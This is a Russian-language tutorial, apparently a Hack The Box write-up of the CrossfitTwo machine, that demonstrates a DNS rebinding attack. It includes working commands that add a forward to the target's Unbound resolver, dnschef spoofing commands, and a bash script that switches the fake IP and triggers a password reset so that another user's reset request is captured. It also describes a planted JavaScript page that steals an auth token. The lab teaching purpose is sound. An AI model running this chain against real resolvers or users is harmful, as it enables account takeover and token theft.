Атака DNS rebinding

dns rebinding

Сегодня, на примере виртуалки HTB CrossfitTwo с пло­щад­ки Hack The Box уров­ня слож­ности Insane, я покажу вам как на практике работает атака DNS rebinding.

Еще по теме: Взлом веб-сервера на Windows и Apache через SSRF

Атака DNS rebinding

DNS rebinding — ата­ка, при которой вре­донос­ная веб‑стра­ница зас­тавля­ет бра­узер поль­зовате­ля запус­тить скрипт, который обра­щает­ся к дру­гим сай­там и сер­висам. Теоре­тичес­ки пра­вила огра­ниче­ния домена (Same Origin Policy) пре­пятс­тву­ют подоб­ным запус­кам: сце­нарии на сто­роне кли­ента могут получать дос­туп толь­ко к дан­ным с того сай­та, с которо­го был получен скрипт. В про­цес­се при­мене­ния полити­ки бра­узер срав­нива­ет домен­ные име­на, но ата­ка переп­ривяз­ки обхо­дит эту защиту, зло­упот­ребляя воз­можностью DNS быс­тро менять адре­са.

Смысл в том, что зло­умыш­ленник регис­три­рует домен и кон­тро­лиру­ет DNS-сер­вер, который его обслу­жива­ет. DNS-сер­вер нас­тра­ивает­ся так, что­бы его отве­ты содер­жали очень корот­кое вре­мя жиз­ни записей (TTL), что пре­дот­вра­щает кеширо­вание отве­та кли­ентом или резол­вером. Ког­да жер­тва начина­ет переход на вре­донос­ный домен, DNS-сер­вер ата­кующе­го сна­чала воз­вра­щает нас­тоящий IP-адрес веб‑сер­вера, который пре­дос­тавит вре­донос­ный код кли­енту.

Затем вре­донос­ный код на сто­роне кли­ента совер­шает допол­нитель­ные обра­щения к исходно­му име­ни домена. Same Origin Policy раз­реша­ет такие зап­росы. Одна­ко во вре­мя исполне­ния скрип­та в бра­узе­ре жер­твы из‑за уста­рева­ния пре­дыду­щего DNS-отве­та про­изво­дит­ся новый зап­рос DNS для дан­ного домена и зап­рос пос­тупа­ет к DNS-сер­веру ата­кующе­го.

Так как в нас­трой­ках релея ука­зан домен по мас­ке *employees.crossfit.htb, мы можем зарегис­три­ровать свой домен, к при­меру ralfemployees.crossfit.htb. Свой домен тоже добавим в файл /etc/hosts. А теперь ука­зыва­ем редирект DNS на свой хост, что­бы, ког­да на сер­вер при­шел зап­рос к домену ralfemployees.crossfit.htb, он перес­про­сил соот­ветс­тву­ющий адрес с нашего DNS-сер­вера.

unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i ralfemployees.crossfit.htb. 10.10.14.117@53
Атака DNS rebinding. Настройка Unbound
Атака DNS rebinding. Настройка Unbound

Нас­трой­ки при­мене­ны, оста­лось разоб­рать­ся с локаль­ным DNS-сер­вером. В качес­тве такого мы можем исполь­зовать лег­кую ути­литу dnschef, уже пре­дус­танов­ленную в некото­рых боевых дис­три­бути­вах вро­де Kali Linux. Ука­зыва­ем интерфейс (опция -i), свой домен (—fakedomains) и адрес, который ему будет соот­ветс­тво­вать (—fakeip).

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117
Атака DNS rebinding. Зап­рос сме­ны пароля
Атака DNS rebinding. Зап­рос сме­ны пароля

Те­перь все обра­щения на ralfemployees.crossfit.htb дол­жны при­водить к нашему локаль­ному веб‑сер­веру. Что­бы это про­тес­тировать, запус­тим лис­тенер на пор­те 80 (исполь­зуем netcat — nc -lvp 80) и выпол­ним зап­рос на сме­ну пароля, но к нашему вир­туаль­ному хос­ту. Вот толь­ко сер­вер отве­тит, что дан­ная услу­га дос­тупна лишь для локаль­ного хос­та. Тог­да давай воз­вра­щать адрес 127.0.0.1 и пов­торно выпол­ним зап­рос.

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1
Атака DNS rebinding. Логи dnschef
Атака DNS rebinding. Логи dnschef
Атака DNS rebinding. Зап­рос сме­ны пароля
Атака DNS rebinding. Зап­рос сме­ны пароля

В резуль­тате мы видим, что зап­рос успешно про­ходит, а в окне логов dnschef наб­люда­ем две записи, то есть зап­росов ста­ло два. Давай теперь выпол­ним ата­ку DNS rebinding. Для это­го напишем скрипт, который пос­ле двух обра­щений переза­пус­тит dnschef, что­бы тот с новыми нас­трой­ками ука­зывал не на локаль­ный адрес, а на наш. При этом пос­ле запус­ка мы выпол­ним зап­рос для сме­ны пароля, что­бы сле­дующий зап­рос от дру­гого поль­зовате­ля при­шел на наш сер­вер.

#!/bin/bash
count=0
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1 2>&1 | while read line
do
        case "$line" in *response*) (( count++ ))
                echo "Request $count"
                [[ "$count" -gt 1 ]] && pkill -f dnschef
        esac
done
dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117
curl -s -X "POST" -H "Host: ralfemployees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"
Ло­ги dnschef
Ло­ги dnschef
Ок­но netcat
Ок­но netcat

Спус­тя минуту к нашему DNS при­шел зап­рос, и dnschef вер­нул наш адрес. В окне netcat сра­зу уви­дим зап­рос на сме­ну пароля от поль­зовате­ля. Ата­ка прош­ла успешно, оста­лось про­экс­плу­ати­ровать эту уяз­вимость. Для это­го мы соз­даем на сво­ем сер­вере файл password-reset.php, который содер­жит код на JavaScript. Этот код будет выпол­нять зап­рос к http://crossfit-club.htb/api/auth, получать от сер­вера токен и выпол­нять еще один зап­рос на соз­дание поль­зовате­ля в чате (нам эта фун­кция была недос­тупна).

За­пус­каем веб‑сер­вер Apache коман­дой sudo service apache2 start и помеща­ем скрипт в дирек­торию веб‑сер­вера /var/www/html/. Затем пов­торя­ем нашу ата­ку и пос­ле появ­ления зап­росов в окне dnschef прос­мотрим логи Apache в фай­ле /var/log/apache2/access.log.

Про­ходим к нашему сай­ту и пыта­емся авто­ризо­вать­ся. К сожале­нию, ничего не получа­ется. Почему?

Фор­ма авто­риза­ции crossfit-club.htb
Фор­ма авто­риза­ции crossfit-club.htb

GET-зап­росы не под­держи­вают­ся, а POST-зап­росы тре­буют ука­зания парамет­ров. При этом через HTTP-метод OPTIONS мы можем спо­кой­но общать­ся с сер­вером и узнать, какие зап­росы он при­нима­ет. В отве­те уви­дим заголо­вок [Vary](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary): Origin. То есть нам нуж­но переда­вать заголо­вок Origin, он показы­вает отку­да будет про­изво­дить­ся заг­рузка. В нем нет информа­ции о пути, и он содер­жит толь­ко имя сер­вера. Origin час­то исполь­зует­ся в CORS, что нам и нуж­но про­верить.

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *